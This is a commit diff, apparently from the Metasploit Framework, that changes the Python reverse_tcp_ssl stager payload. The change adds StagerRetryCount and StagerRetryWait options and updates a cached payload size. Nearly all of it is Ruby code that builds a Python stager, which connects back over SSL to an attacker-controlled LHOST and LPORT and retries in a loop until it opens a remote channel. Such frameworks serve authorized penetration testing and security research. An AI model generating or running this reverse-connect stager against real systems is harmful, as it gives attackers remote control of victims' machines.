Making changes similar to the reverse_tcp payload

bug/bundler_fix
itsmeroy2012 2017-06-03 22:57:59 +05:30
parent 73be4f1c2e
commit 39cee481c1
2 changed files with 20 additions and 6 deletions

View File

@ -15,6 +15,15 @@ module Payload::Python::ReverseTcpSsl
include Msf::Payload::Python include Msf::Payload::Python
include Msf::Payload::Python::ReverseTcp include Msf::Payload::Python::ReverseTcp
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts',5])
], self.class)
end
# #
# Generate the first stage # Generate the first stage
@ -23,7 +32,8 @@ module Payload::Python::ReverseTcpSsl
conf = { conf = {
port: datastore['LPORT'], port: datastore['LPORT'],
host: datastore['LHOST'], host: datastore['LHOST'],
retry_wait: datastore['StagerRetryWait'] retry_count: datastore['StagerRetryCount'],
retry_wait: datastore['StagerRetryWait'],
} }
generate_reverse_tcp_ssl(conf) generate_reverse_tcp_ssl(conf)
@ -44,22 +54,26 @@ module Payload::Python::ReverseTcpSsl
def generate_reverse_tcp_ssl(opts={}) def generate_reverse_tcp_ssl(opts={})
# Set up the socket # Set up the socket
cmd = "import ssl,socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n" cmd = "import ssl,socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n"
if datastore['StagerRetryWait'].blank? # do not retry at all (old style) if opts[:retry_wait].blank? # do not retry at all (old style)
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "s=ssl.wrap_socket(so)\n" cmd << "s=ssl.wrap_socket(so)\n"
else else
cmd << "while 1:\n" if opts[:retry_count]>0
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
else
cmd << "while 1:\n"
end
cmd << "\ttry:\n" cmd << "\ttry:\n"
cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2 cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2
cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n" cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "\t\ts=ssl.wrap_socket(so)\n" cmd << "\t\ts=ssl.wrap_socket(so)\n"
cmd << "\t\tbreak\n" cmd << "\t\tbreak\n"
cmd << "\texcept:\n" cmd << "\texcept:\n"
if datastore['StagerRetryWait'].to_i <= 0 if opts[:retry_wait].to_i <= 0
cmd << "\t\tpass\n" # retry immediately cmd << "\t\tpass\n" # retry immediately
else else
cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
end end
end end
cmd << py_send_uuid if include_send_uuid cmd << py_send_uuid if include_send_uuid

View File

@ -9,7 +9,7 @@ require 'msf/core/payload/python/reverse_tcp_ssl'
module MetasploitModule module MetasploitModule
CachedSize = 378 CachedSize = 470
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Python::ReverseTcpSsl include Msf::Payload::Python::ReverseTcpSsl